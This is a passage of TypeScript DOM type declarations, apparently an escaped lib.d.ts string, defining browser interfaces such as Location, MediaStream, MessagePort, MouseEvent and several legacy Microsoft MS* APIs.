DOM_KEY_LOCATION_JOYSTICK: number;\\n    readonly DOM_KEY_LOCATION_LEFT: number;\\n    readonly DOM_KEY_LOCATION_MOBILE: number;\\n    readonly DOM_KEY_LOCATION_NUMPAD: number;\\n    readonly DOM_KEY_LOCATION_RIGHT: number;\\n    readonly DOM_KEY_LOCATION_STANDARD: number;\\n};\\n\\ninterface ListeningStateChangedEvent extends Event {\\n    readonly label: string;\\n    readonly state: ListeningState;\\n}\\n\\ndeclare var ListeningStateChangedEvent: {\\n    prototype: ListeningStateChangedEvent;\\n    new(): ListeningStateChangedEvent;\\n};\\n\\ninterface Location {\\n    hash: string;\\n    host: string;\\n    hostname: string;\\n    href: string;\\n    readonly origin: string;\\n    pathname: string;\\n    port: string;\\n    protocol: string;\\n    search: string;\\n    assign(url: string): void;\\n    reload(forcedReload?: boolean): void;\\n    replace(url: string): void;\\n    toString(): string;\\n}\\n\\ndeclare var Location: {\\n    prototype: Location;\\n    new(): Location;\\n};\\n\\ninterface LongRunningScriptDetectedEvent extends Event {\\n    readonly executionTime: number;\\n    stopPageScriptExecution: boolean;\\n}\\n\\ndeclare var LongRunningScriptDetectedEvent: {\\n    prototype: LongRunningScriptDetectedEvent;\\n    new(): LongRunningScriptDetectedEvent;\\n};\\n\\ninterface MediaDeviceInfo {\\n    readonly deviceId: string;\\n    readonly groupId: string;\\n    readonly kind: MediaDeviceKind;\\n    readonly label: string;\\n}\\n\\ndeclare var MediaDeviceInfo: {\\n    prototype: MediaDeviceInfo;\\n    new(): MediaDeviceInfo;\\n};\\n\\ninterface MediaDevicesEventMap {\\n    \"devicechange\": Event;\\n}\\n\\ninterface MediaDevices extends EventTarget {\\n    ondevicechange: (this: MediaDevices, ev: Event) => any;\\n    enumerateDevices(): any;\\n    getSupportedConstraints(): MediaTrackSupportedConstraints;\\n    getUserMedia(constraints: MediaStreamConstraints): Promise<MediaStream>;\\n    addEventListener<K extends keyof MediaDevicesEventMap>(type: K, listener: (this: MediaDevices, ev: MediaDevicesEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MediaDevices: {\\n    prototype: MediaDevices;\\n    new(): MediaDevices;\\n};\\n\\ninterface MediaElementAudioSourceNode extends AudioNode {\\n}\\n\\ndeclare var MediaElementAudioSourceNode: {\\n    prototype: MediaElementAudioSourceNode;\\n    new(): MediaElementAudioSourceNode;\\n};\\n\\ninterface MediaEncryptedEvent extends Event {\\n    readonly initData: ArrayBuffer | null;\\n    readonly initDataType: string;\\n}\\n\\ndeclare var MediaEncryptedEvent: {\\n    prototype: MediaEncryptedEvent;\\n    new(type: string, eventInitDict?: MediaEncryptedEventInit): MediaEncryptedEvent;\\n};\\n\\ninterface MediaError {\\n    readonly code: number;\\n    readonly msExtendedCode: number;\\n    readonly MEDIA_ERR_ABORTED: number;\\n    readonly MEDIA_ERR_DECODE: number;\\n    readonly MEDIA_ERR_NETWORK: number;\\n    readonly MEDIA_ERR_SRC_NOT_SUPPORTED: number;\\n    readonly MS_MEDIA_ERR_ENCRYPTED: number;\\n}\\n\\ndeclare var MediaError: {\\n    prototype: MediaError;\\n    new(): MediaError;\\n    readonly MEDIA_ERR_ABORTED: number;\\n    readonly MEDIA_ERR_DECODE: number;\\n    readonly MEDIA_ERR_NETWORK: number;\\n    readonly MEDIA_ERR_SRC_NOT_SUPPORTED: number;\\n    readonly MS_MEDIA_ERR_ENCRYPTED: number;\\n};\\n\\ninterface MediaKeyMessageEvent extends Event {\\n    readonly message: ArrayBuffer;\\n    readonly messageType: MediaKeyMessageType;\\n}\\n\\ndeclare var MediaKeyMessageEvent: {\\n    prototype: MediaKeyMessageEvent;\\n    new(type: string, eventInitDict?: MediaKeyMessageEventInit): MediaKeyMessageEvent;\\n};\\n\\ninterface MediaKeys {\\n    createSession(sessionType?: MediaKeySessionType): MediaKeySession;\\n    setServerCertificate(serverCertificate: any): Promise<void>;\\n}\\n\\ndeclare var MediaKeys: {\\n    prototype: MediaKeys;\\n    new(): MediaKeys;\\n};\\n\\ninterface MediaKeySession extends EventTarget {\\n    readonly closed: Promise<void>;\\n    readonly expiration: number;\\n    readonly keyStatuses: MediaKeyStatusMap;\\n    readonly sessionId: string;\\n    close(): Promise<void>;\\n    generateRequest(initDataType: string, initData: any): Promise<void>;\\n    load(sessionId: string): Promise<boolean>;\\n    remove(): Promise<void>;\\n    update(response: any): Promise<void>;\\n}\\n\\ndeclare var MediaKeySession: {\\n    prototype: MediaKeySession;\\n    new(): MediaKeySession;\\n};\\n\\ninterface MediaKeyStatusMap {\\n    readonly size: number;\\n    forEach(callback: ForEachCallback): void;\\n    get(keyId: any): MediaKeyStatus;\\n    has(keyId: any): boolean;\\n}\\n\\ndeclare var MediaKeyStatusMap: {\\n    prototype: MediaKeyStatusMap;\\n    new(): MediaKeyStatusMap;\\n};\\n\\ninterface MediaKeySystemAccess {\\n    readonly keySystem: string;\\n    createMediaKeys(): Promise<MediaKeys>;\\n    getConfiguration(): MediaKeySystemConfiguration;\\n}\\n\\ndeclare var MediaKeySystemAccess: {\\n    prototype: MediaKeySystemAccess;\\n    new(): MediaKeySystemAccess;\\n};\\n\\ninterface MediaList {\\n    readonly length: number;\\n    mediaText: string;\\n    appendMedium(newMedium: string): void;\\n    deleteMedium(oldMedium: string): void;\\n    item(index: number): string;\\n    toString(): string;\\n    [index: number]: string;\\n}\\n\\ndeclare var MediaList: {\\n    prototype: MediaList;\\n    new(): MediaList;\\n};\\n\\ninterface MediaQueryList {\\n    readonly matches: boolean;\\n    readonly media: string;\\n    addListener(listener: MediaQueryListListener): void;\\n    removeListener(listener: MediaQueryListListener): void;\\n}\\n\\ndeclare var MediaQueryList: {\\n    prototype: MediaQueryList;\\n    new(): MediaQueryList;\\n};\\n\\ninterface MediaSource extends EventTarget {\\n    readonly activeSourceBuffers: SourceBufferList;\\n    duration: number;\\n    readonly readyState: string;\\n    readonly sourceBuffers: SourceBufferList;\\n    addSourceBuffer(type: string): SourceBuffer;\\n    endOfStream(error?: number): void;\\n    removeSourceBuffer(sourceBuffer: SourceBuffer): void;\\n}\\n\\ndeclare var MediaSource: {\\n    prototype: MediaSource;\\n    new(): MediaSource;\\n    isTypeSupported(type: string): boolean;\\n};\\n\\ninterface MediaStreamEventMap {\\n    \"active\": Event;\\n    \"addtrack\": MediaStreamTrackEvent;\\n    \"inactive\": Event;\\n    \"removetrack\": MediaStreamTrackEvent;\\n}\\n\\ninterface MediaStream extends EventTarget {\\n    readonly active: boolean;\\n    readonly id: string;\\n    onactive: (this: MediaStream, ev: Event) => any;\\n    onaddtrack: (this: MediaStream, ev: MediaStreamTrackEvent) => any;\\n    oninactive: (this: MediaStream, ev: Event) => any;\\n    onremovetrack: (this: MediaStream, ev: MediaStreamTrackEvent) => any;\\n    addTrack(track: MediaStreamTrack): void;\\n    clone(): MediaStream;\\n    getAudioTracks(): MediaStreamTrack[];\\n    getTrackById(trackId: string): MediaStreamTrack | null;\\n    getTracks(): MediaStreamTrack[];\\n    getVideoTracks(): MediaStreamTrack[];\\n    removeTrack(track: MediaStreamTrack): void;\\n    stop(): void;\\n    addEventListener<K extends keyof MediaStreamEventMap>(type: K, listener: (this: MediaStream, ev: MediaStreamEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MediaStream: {\\n    prototype: MediaStream;\\n    new(streamOrTracks?: MediaStream | MediaStreamTrack[]): MediaStream;\\n};\\n\\ninterface MediaStreamAudioSourceNode extends AudioNode {\\n}\\n\\ndeclare var MediaStreamAudioSourceNode: {\\n    prototype: MediaStreamAudioSourceNode;\\n    new(): MediaStreamAudioSourceNode;\\n};\\n\\ninterface MediaStreamError {\\n    readonly constraintName: string | null;\\n    readonly message: string | null;\\n    readonly name: string;\\n}\\n\\ndeclare var MediaStreamError: {\\n    prototype: MediaStreamError;\\n    new(): MediaStreamError;\\n};\\n\\ninterface MediaStreamErrorEvent extends Event {\\n    readonly error: MediaStreamError | null;\\n}\\n\\ndeclare var MediaStreamErrorEvent: {\\n    prototype: MediaStreamErrorEvent;\\n    new(typeArg: string, eventInitDict?: MediaStreamErrorEventInit): MediaStreamErrorEvent;\\n};\\n\\ninterface MediaStreamEvent extends Event {\\n    readonly stream: MediaStream | null;\\n}\\n\\ndeclare var MediaStreamEvent: {\\n    prototype: MediaStreamEvent;\\n    new(type: string, eventInitDict: MediaStreamEventInit): MediaStreamEvent;\\n};\\n\\ninterface MediaStreamTrackEventMap {\\n    \"ended\": MediaStreamErrorEvent;\\n    \"mute\": Event;\\n    \"overconstrained\": MediaStreamErrorEvent;\\n    \"unmute\": Event;\\n}\\n\\ninterface MediaStreamTrack extends EventTarget {\\n    enabled: boolean;\\n    readonly id: string;\\n    readonly kind: string;\\n    readonly label: string;\\n    readonly muted: boolean;\\n    onended: (this: MediaStreamTrack, ev: MediaStreamErrorEvent) => any;\\n    onmute: (this: MediaStreamTrack, ev: Event) => any;\\n    onoverconstrained: (this: MediaStreamTrack, ev: MediaStreamErrorEvent) => any;\\n    onunmute: (this: MediaStreamTrack, ev: Event) => any;\\n    readonly readonly: boolean;\\n    readonly readyState: MediaStreamTrackState;\\n    readonly remote: boolean;\\n    applyConstraints(constraints: MediaTrackConstraints): Promise<void>;\\n    clone(): MediaStreamTrack;\\n    getCapabilities(): MediaTrackCapabilities;\\n    getConstraints(): MediaTrackConstraints;\\n    getSettings(): MediaTrackSettings;\\n    stop(): void;\\n    addEventListener<K extends keyof MediaStreamTrackEventMap>(type: K, listener: (this: MediaStreamTrack, ev: MediaStreamTrackEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MediaStreamTrack: {\\n    prototype: MediaStreamTrack;\\n    new(): MediaStreamTrack;\\n};\\n\\ninterface MediaStreamTrackEvent extends Event {\\n    readonly track: MediaStreamTrack;\\n}\\n\\ndeclare var MediaStreamTrackEvent: {\\n    prototype: MediaStreamTrackEvent;\\n    new(typeArg: string, eventInitDict?: MediaStreamTrackEventInit): MediaStreamTrackEvent;\\n};\\n\\ninterface MessageChannel {\\n    readonly port1: MessagePort;\\n    readonly port2: MessagePort;\\n}\\n\\ndeclare var MessageChannel: {\\n    prototype: MessageChannel;\\n    new(): MessageChannel;\\n};\\n\\ninterface MessageEvent extends Event {\\n    readonly data: any;\\n    readonly origin: string;\\n    readonly ports: any;\\n    readonly source: Window;\\n    initMessageEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, dataArg: any, originArg: string, lastEventIdArg: string, sourceArg: Window): void;\\n}\\n\\ndeclare var MessageEvent: {\\n    prototype: MessageEvent;\\n    new(type: string, eventInitDict?: MessageEventInit): MessageEvent;\\n};\\n\\ninterface MessagePortEventMap {\\n    \"message\": MessageEvent;\\n}\\n\\ninterface MessagePort extends EventTarget {\\n    onmessage: (this: MessagePort, ev: MessageEvent) => any;\\n    close(): void;\\n    postMessage(message?: any, transfer?: any[]): void;\\n    start(): void;\\n    addEventListener<K extends keyof MessagePortEventMap>(type: K, listener: (this: MessagePort, ev: MessagePortEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MessagePort: {\\n    prototype: MessagePort;\\n    new(): MessagePort;\\n};\\n\\ninterface MimeType {\\n    readonly description: string;\\n    readonly enabledPlugin: Plugin;\\n    readonly suffixes: string;\\n    readonly type: string;\\n}\\n\\ndeclare var MimeType: {\\n    prototype: MimeType;\\n    new(): MimeType;\\n};\\n\\ninterface MimeTypeArray {\\n    readonly length: number;\\n    item(index: number): Plugin;\\n    namedItem(type: string): Plugin;\\n    [index: number]: Plugin;\\n}\\n\\ndeclare var MimeTypeArray: {\\n    prototype: MimeTypeArray;\\n    new(): MimeTypeArray;\\n};\\n\\ninterface MouseEvent extends UIEvent {\\n    readonly altKey: boolean;\\n    readonly button: number;\\n    readonly buttons: number;\\n    readonly clientX: number;\\n    readonly clientY: number;\\n    readonly ctrlKey: boolean;\\n    readonly fromElement: Element;\\n    readonly layerX: number;\\n    readonly layerY: number;\\n    readonly metaKey: boolean;\\n    readonly movementX: number;\\n    readonly movementY: number;\\n    readonly offsetX: number;\\n    readonly offsetY: number;\\n    readonly pageX: number;\\n    readonly pageY: number;\\n    readonly relatedTarget: EventTarget;\\n    readonly screenX: number;\\n    readonly screenY: number;\\n    readonly shiftKey: boolean;\\n    readonly toElement: Element;\\n    readonly which: number;\\n    readonly x: number;\\n    readonly y: number;\\n    getModifierState(keyArg: string): boolean;\\n    initMouseEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, ctrlKeyArg: boolean, altKeyArg: boolean, shiftKeyArg: boolean, metaKeyArg: boolean, buttonArg: number, relatedTargetArg: EventTarget | null): void;\\n}\\n\\ndeclare var MouseEvent: {\\n    prototype: MouseEvent;\\n    new(typeArg: string, eventInitDict?: MouseEventInit): MouseEvent;\\n};\\n\\ninterface MSApp {\\n    clearTemporaryWebDataAsync(): MSAppAsyncOperation;\\n    createBlobFromRandomAccessStream(type: string, seeker: any): Blob;\\n    createDataPackage(object: any): any;\\n    createDataPackageFromSelection(): any;\\n    createFileFromStorageFile(storageFile: any): File;\\n    createStreamFromInputStream(type: string, inputStream: any): MSStream;\\n    execAsyncAtPriority(asynchronousCallback: MSExecAtPriorityFunctionCallback, priority: string, ...args: any[]): void;\\n    execAtPriority(synchronousCallback: MSExecAtPriorityFunctionCallback, priority: string, ...args: any[]): any;\\n    getCurrentPriority(): string;\\n    getHtmlPrintDocumentSourceAsync(htmlDoc: any): Promise<any>;\\n    getViewId(view: any): any;\\n    isTaskScheduledAtPriorityOrHigher(priority: string): boolean;\\n    pageHandlesAllApplicationActivations(enabled: boolean): void;\\n    suppressSubdownloadCredentialPrompts(suppress: boolean): void;\\n    terminateApp(exceptionObject: any): void;\\n    readonly CURRENT: string;\\n    readonly HIGH: string;\\n    readonly IDLE: string;\\n    readonly NORMAL: string;\\n}\\ndeclare var MSApp: MSApp;\\n\\ninterface MSAppAsyncOperationEventMap {\\n    \"complete\": Event;\\n    \"error\": Event;\\n}\\n\\ninterface MSAppAsyncOperation extends EventTarget {\\n    readonly error: DOMError;\\n    oncomplete: (this: MSAppAsyncOperation, ev: Event) => any;\\n    onerror: (this: MSAppAsyncOperation, ev: Event) => any;\\n    readonly readyState: number;\\n    readonly result: any;\\n    start(): void;\\n    readonly COMPLETED: number;\\n    readonly ERROR: number;\\n    readonly STARTED: number;\\n    addEventListener<K extends keyof MSAppAsyncOperationEventMap>(type: K, listener: (this: MSAppAsyncOperation, ev: MSAppAsyncOperationEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSAppAsyncOperation: {\\n    prototype: MSAppAsyncOperation;\\n    new(): MSAppAsyncOperation;\\n    readonly COMPLETED: number;\\n    readonly ERROR: number;\\n    readonly STARTED: number;\\n};\\n\\ninterface MSAssertion {\\n    readonly id: string;\\n    readonly type: MSCredentialType;\\n}\\n\\ndeclare var MSAssertion: {\\n    prototype: MSAssertion;\\n    new(): MSAssertion;\\n};\\n\\ninterface MSBlobBuilder {\\n    append(data: any, endings?: string): void;\\n    getBlob(contentType?: string): Blob;\\n}\\n\\ndeclare var MSBlobBuilder: {\\n    prototype: MSBlobBuilder;\\n    new(): MSBlobBuilder;\\n};\\n\\ninterface MSCredentials {\\n    getAssertion(challenge: string, filter?: MSCredentialFilter, params?: MSSignatureParameters): Promise<MSAssertion>;\\n    makeCredential(accountInfo: MSAccountInfo, params: MSCredentialParameters[], challenge?: string): Promise<MSAssertion>;\\n}\\n\\ndeclare var MSCredentials: {\\n    prototype: MSCredentials;\\n    new(): MSCredentials;\\n};\\n\\ninterface MSFIDOCredentialAssertion extends MSAssertion {\\n    readonly algorithm: string | Algorithm;\\n    readonly attestation: any;\\n    readonly publicKey: string;\\n    readonly transportHints: MSTransportType[];\\n}\\n\\ndeclare var MSFIDOCredentialAssertion: {\\n    prototype: MSFIDOCredentialAssertion;\\n    new(): MSFIDOCredentialAssertion;\\n};\\n\\ninterface MSFIDOSignature {\\n    readonly authnrData: string;\\n    readonly clientData: string;\\n    readonly signature: string;\\n}\\n\\ndeclare var MSFIDOSignature: {\\n    prototype: MSFIDOSignature;\\n    new(): MSFIDOSignature;\\n};\\n\\ninterface MSFIDOSignatureAssertion extends MSAssertion {\\n    readonly signature: MSFIDOSignature;\\n}\\n\\ndeclare var MSFIDOSignatureAssertion: {\\n    prototype: MSFIDOSignatureAssertion;\\n    new(): MSFIDOSignatureAssertion;\\n};\\n\\ninterface MSGesture {\\n    target: Element;\\n    addPointer(pointerId: number): void;\\n    stop(): void;\\n}\\n\\ndeclare var MSGesture: {\\n    prototype: MSGesture;\\n    new(): MSGesture;\\n};\\n\\ninterface MSGestureEvent extends UIEvent {\\n    readonly clientX: number;\\n    readonly clientY: number;\\n    readonly expansion: number;\\n    readonly gestureObject: any;\\n    readonly hwTimestamp: number;\\n    readonly offsetX: number;\\n    readonly offsetY: number;\\n    readonly rotation: number;\\n    readonly scale: number;\\n    readonly screenX: number;\\n    readonly screenY: number;\\n    readonly translationX: number;\\n    readonly translationY: number;\\n    readonly velocityAngular: number;\\n    readonly velocityExpansion: number;\\n    readonly velocityX: number;\\n    readonly velocityY: number;\\n    initGestureEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, offsetXArg: number, offsetYArg: number, translationXArg: number, translationYArg: number, scaleArg: number, expansionArg: number, rotationArg: number, velocityXArg: number, velocityYArg: number, velocityExpansionArg: number, velocityAngularArg: number, hwTimestampArg: number): void;\\n    readonly MSGESTURE_FLAG_BEGIN: number;\\n    readonly MSGESTURE_FLAG_CANCEL: number;\\n    readonly MSGESTURE_FLAG_END: number;\\n    readonly MSGESTURE_FLAG_INERTIA: number;\\n    readonly MSGESTURE_FLAG_NONE: number;\\n}\\n\\ndeclare var MSGestureEvent: {\\n    prototype: MSGestureEvent;\\n    new(): MSGestureEvent;\\n    readonly MSGESTURE_FLAG_BEGIN: number;\\n    readonly MSGESTURE_FLAG_CANCEL: number;\\n    readonly MSGESTURE_FLAG_END: number;\\n    readonly MSGESTURE_FLAG_INERTIA: number;\\n    readonly MSGESTURE_FLAG_NONE: number;\\n};\\n\\ninterface MSGraphicsTrust {\\n    readonly constrictionActive: boolean;\\n    readonly status: string;\\n}\\n\\ndeclare var MSGraphicsTrust: {\\n    prototype: MSGraphicsTrust;\\n    new(): MSGraphicsTrust;\\n};\\n\\ninterface MSHTMLWebViewElement extends HTMLElement {\\n    readonly canGoBack: boolean;\\n    readonly canGoForward: boolean;\\n    readonly containsFullScreenElement: boolean;\\n    readonly documentTitle: string;\\n    height: number;\\n    readonly settings: MSWebViewSettings;\\n    src: string;\\n    width: number;\\n    addWebAllowedObject(name: string, applicationObject: any): void;\\n    buildLocalStreamUri(contentIdentifier: string, relativePath: string): string;\\n    capturePreviewToBlobAsync(): MSWebViewAsyncOperation;\\n    captureSelectedContentToDataPackageAsync(): MSWebViewAsyncOperation;\\n    getDeferredPermissionRequestById(id: number): DeferredPermissionRequest;\\n    getDeferredPermissionRequests(): DeferredPermissionRequest[];\\n    goBack(): void;\\n    goForward(): void;\\n    invokeScriptAsync(scriptName: string, ...args: any[]): MSWebViewAsyncOperation;\\n    navigate(uri: string): void;\\n    navigateFocus(navigationReason: NavigationReason, origin: FocusNavigationOrigin): void;\\n    navigateToLocalStreamUri(source: string, streamResolver: any): void;\\n    navigateToString(contents: string): void;\\n    navigateWithHttpRequestMessage(requestMessage: any): void;\\n    refresh(): void;\\n    stop(): void;\\n    addEventListener<K extends keyof HTMLElementEventMap>(type: K, listener: (this: MSHTMLWebViewElement, ev: HTMLElementEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSHTMLWebViewElement: {\\n    prototype: MSHTMLWebViewElement;\\n    new(): MSHTMLWebViewElement;\\n};\\n\\ninterface MSInputMethodContextEventMap {\\n    \"MSCandidateWindowHide\": Event;\\n    \"MSCandidateWindowShow\": Event;\\n    \"MSCandidateWindowUpdate\": Event;\\n}\\n\\ninterface MSInputMethodContext extends EventTarget {\\n    readonly compositionEndOffset: number;\\n    readonly compositionStartOffset: number;\\n    oncandidatewindowhide: (this: MSInputMethodContext, ev: Event) => any;\\n    oncandidatewindowshow: (this: MSInputMethodContext, ev: Event) => any;\\n    oncandidatewindowupdate: (this: MSInputMethodContext, ev: Event) => any;\\n    readonly target: HTMLElement;\\n    getCandidateWindowClientRect(): ClientRect;\\n    getCompositionAlternatives(): string[];\\n    hasComposition(): boolean;\\n    isCandidateWindowVisible(): boolean;\\n    addEventListener<K extends keyof MSInputMethodContextEventMap>(type: K, listener: (this: MSInputMethodContext, ev: MSInputMethodContextEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSInputMethodContext: {\\n    prototype: MSInputMethodContext;\\n    new(): MSInputMethodContext;\\n};\\n\\ninterface MSManipulationEvent extends UIEvent {\\n    readonly currentState: number;\\n    readonly inertiaDestinationX: number;\\n    readonly inertiaDestinationY: number;\\n    readonly lastState: number;\\n    initMSManipulationEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, lastState: number, currentState: number): void;\\n    readonly MS_MANIPULATION_STATE_ACTIVE: number;\\n    readonly MS_MANIPULATION_STATE_CANCELLED: number;\\n    readonly MS_MANIPULATION_STATE_COMMITTED: number;\\n    readonly MS_MANIPULATION_STATE_DRAGGING: number;\\n    readonly MS_MANIPULATION_STATE_INERTIA: number;\\n    readonly MS_MANIPULATION_STATE_PRESELECT: number;\\n    readonly MS_MANIPULATION_STATE_SELECTING: number;\\n    readonly MS_MANIPULATION_STATE_STOPPED: number;\\n}\\n\\ndeclare var MSManipulationEvent: {\\n    prototype: MSManipulationEvent;\\n    new(): MSManipulationEvent;\\n    readonly MS_MANIPULATION_STATE_ACTIVE: number;\\n    readonly MS_MANIPULATION_STATE_CANCELLED: number;\\n    readonly MS_MANIPULATION_STATE_COMMITTED: number;\\n    readonly MS_MANIPULATION_STATE_DRAGGING: number;\\n    readonly MS_MANIPULATION_STATE_INERTIA: number;\\n    readonly MS_MANIPULATION_STATE_PRESELECT: number;\\n    readonly MS_MANIPULATION_STATE_SELECTING: number;\\n    readonly MS_MANIPULATION_STATE_STOPPED: number;\\n};\\n\\ninterface MSMediaKeyError {\\n    readonly code: number;\\n    readonly systemCode: number;\\n    readonly MS_MEDIA_KEYERR_CLIENT: number;\\n    readonly MS_MEDIA_KEYERR_DOMAIN: number;\\n    readonly MS_MEDIA_KEYERR_HARDWARECHANGE: number;\\n    readonly MS_MEDIA_KEYERR_OUTPUT: number;\\n    readonly MS_MEDIA_KEYERR_SERVICE: number;\\n    readonly MS_MEDIA_KEYERR_UNKNOWN: number;\\n}\\n\\ndeclare var MSMediaKeyError: {\\n    prototype: MSMediaKeyError;\\n    new(): MSMediaKeyError;\\n    readonly MS_MEDIA_KEYERR_CLIENT: number;\\n    readonly MS_MEDIA_KEYERR_DOMAIN: number;\\n    readonly MS_MEDIA_KEYERR_HARDWARECHANGE: number;\\n    readonly MS_MEDIA_KEYERR_OUTPUT: number;\\n    readonly MS_MEDIA_KEYERR_SERVICE: number;\\n    readonly MS_MEDIA_KEYERR_UNKNOWN: number;\\n};\\n\\ninterface MSMediaKeyMessageEvent extends Event {\\n    readonly destinationURL: string | null;\\n    readonly message: Uint8Array;\\n}\\n\\ndeclare var MSMediaKeyMessageEvent: {\\n    prototype: MSMediaKeyMessageEvent;\\n    new(): MSMediaKeyMessageEvent;\\n};\\n\\ninterface MSMediaKeyNeededEvent extends Event {\\n    readonly initData: Uint8Array | null;\\n}\\n\\ndeclare var MSMediaKeyNeededEvent: {\\n    prototype: MSMediaKeyNeededEvent;\\n    new(): MSMediaKeyNeededEvent;\\n};\\n\\ninterface MSMediaKeys {\\n    readonly keySystem: string;\\n    createSession(type: string, initData: Uint8Array, cdmData?: Uint8Array): MSMediaKeySession;\\n}\\n\\ndeclare var MSMediaKeys: {\\n    prototype: MSMediaKeys;\\n    new(keySystem: string): MSMediaKeys;\\n    isTypeSupported(keySystem: string, type?: string): boolean;\\n    isTypeSupportedWithFeatures(keySystem: string, type?: string): string;\\n};\\n\\ninterface MSMediaKeySession extends EventTarget {\\n    readonly error: MSMediaKeyError | null;\\n    readonly keySystem: string;\\n    readonly sessionId: string;\\n    close(): void;\\n    update(key: Uint8Array): void;\\n}\\n\\ndeclare var MSMediaKeySession: {\\n    prototype: MSMediaKeySession;\\n    new(): MSMediaKeySession;\\n};\\n\\ninterface MSPointerEvent extends MouseEvent {\\n    readonly currentPoint: any;\\n    readonly height: number;\\n    readonly hwTimestamp: number;\\n    readonly intermediatePoints: any;\\n    readonly isPrimary: boolean;\\n    readonly pointerId: number;\\n    readonly pointerType: any;\\n    readonly pressure: number;\\n    readonly rotation: number;\\n    readonly tiltX: number;\\n    readonly tiltY: number;\\n    readonly width: number;\\n    getCurrentPoint(element: Element): void;\\n    getIntermediatePoints(element: Element): void;\\n    initPointerEvent(typeArg: string, canBubbleArg: boolean, cancelableArg: boolean, viewArg: Window, detailArg: number, screenXArg: number, screenYArg: number, clientXArg: number, clientYArg: number, ctrlKeyArg: boolean, altKeyArg: boolean, shiftKeyArg: boolean, metaKeyArg: boolean, buttonArg: number, relatedTargetArg: EventTarget, offsetXArg: number, offsetYArg: number, widthArg: number, heightArg: number, pressure: number, rotation: number, tiltX: number, tiltY: number, pointerIdArg: number, pointerType: any, hwTimestampArg: number, isPrimary: boolean): void;\\n}\\n\\ndeclare var MSPointerEvent: {\\n    prototype: MSPointerEvent;\\n    new(typeArg: string, eventInitDict?: PointerEventInit): MSPointerEvent;\\n};\\n\\ninterface MSRangeCollection {\\n    readonly length: number;\\n    item(index: number): Range;\\n    [index: number]: Range;\\n}\\n\\ndeclare var MSRangeCollection: {\\n    prototype: MSRangeCollection;\\n    new(): MSRangeCollection;\\n};\\n\\ninterface MSSiteModeEvent extends Event {\\n    readonly actionURL: string;\\n    readonly buttonID: number;\\n}\\n\\ndeclare var MSSiteModeEvent: {\\n    prototype: MSSiteModeEvent;\\n    new(): MSSiteModeEvent;\\n};\\n\\ninterface MSStream {\\n    readonly type: string;\\n    msClose(): void;\\n    msDetachStream(): any;\\n}\\n\\ndeclare var MSStream: {\\n    prototype: MSStream;\\n    new(): MSStream;\\n};\\n\\ninterface MSStreamReader extends EventTarget, MSBaseReader {\\n    readonly error: DOMError;\\n    readAsArrayBuffer(stream: MSStream, size?: number): void;\\n    readAsBinaryString(stream: MSStream, size?: number): void;\\n    readAsBlob(stream: MSStream, size?: number): void;\\n    readAsDataURL(stream: MSStream, size?: number): void;\\n    readAsText(stream: MSStream, encoding?: string, size?: number): void;\\n    addEventListener<K extends keyof MSBaseReaderEventMap>(type: K, listener: (this: MSStreamReader, ev: MSBaseReaderEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSStreamReader: {\\n    prototype: MSStreamReader;\\n    new(): MSStreamReader;\\n};\\n\\ninterface MSWebViewAsyncOperationEventMap {\\n    \"complete\": Event;\\n    \"error\": Event;\\n}\\n\\ninterface MSWebViewAsyncOperation extends EventTarget {\\n    readonly error: DOMError;\\n    oncomplete: (this: MSWebViewAsyncOperation, ev: Event) => any;\\n    onerror: (this: MSWebViewAsyncOperation, ev: Event) => any;\\n    readonly readyState: number;\\n    readonly result: any;\\n    readonly target: MSHTMLWebViewElement;\\n    readonly type: number;\\n    start(): void;\\n    readonly COMPLETED: number;\\n    readonly ERROR: number;\\n    readonly STARTED: number;\\n    readonly TYPE_CAPTURE_PREVIEW_TO_RANDOM_ACCESS_STREAM: number;\\n    readonly TYPE_CREATE_DATA_PACKAGE_FROM_SELECTION: number;\\n    readonly TYPE_INVOKE_SCRIPT: number;\\n    addEventListener<K extends keyof MSWebViewAsyncOperationEventMap>(type: K, listener: (this: MSWebViewAsyncOperation, ev: MSWebViewAsyncOperationEventMap[K]) => any, useCapture?: boolean): void;\\n    addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\n}\\n\\ndeclare var MSWebViewAsyncOperation: {\\n    prototype: MSWebViewAsyncOperation;\\n    new(): MSWebViewAsyncOperation;\\n    readonly COMPLETED: number;\\n    readonly ERROR: number;\\n    readonly STARTED: number;\\n    readonly TYPE_CAPTURE_PREVIEW_TO_RANDOM_ACCESS_STREAM: number;\\n    readonly TYPE_CREATE_DATA_PACKAGE_FROM_SELECTION: number;\\n    readonly TYPE_INVOKE_SCRIPT: number;\\n};\\n\\ninterface MSWebViewSettings {\\n    isIndexedDBEnabled: boolean;\\n    isJavaScriptEnabled: boolean;\\n}\\n\\ndeclare var MSWebViewSettings: {\\n    prototype: MSWebViewSettings;\\n    new(): MSWebViewSettings;\\n};\\n\\ninterface MutationEvent extends Event {\\n    readonly attrChange: number;\\n    readonly attrName: string;\\n    readonly newValue: string;\\n    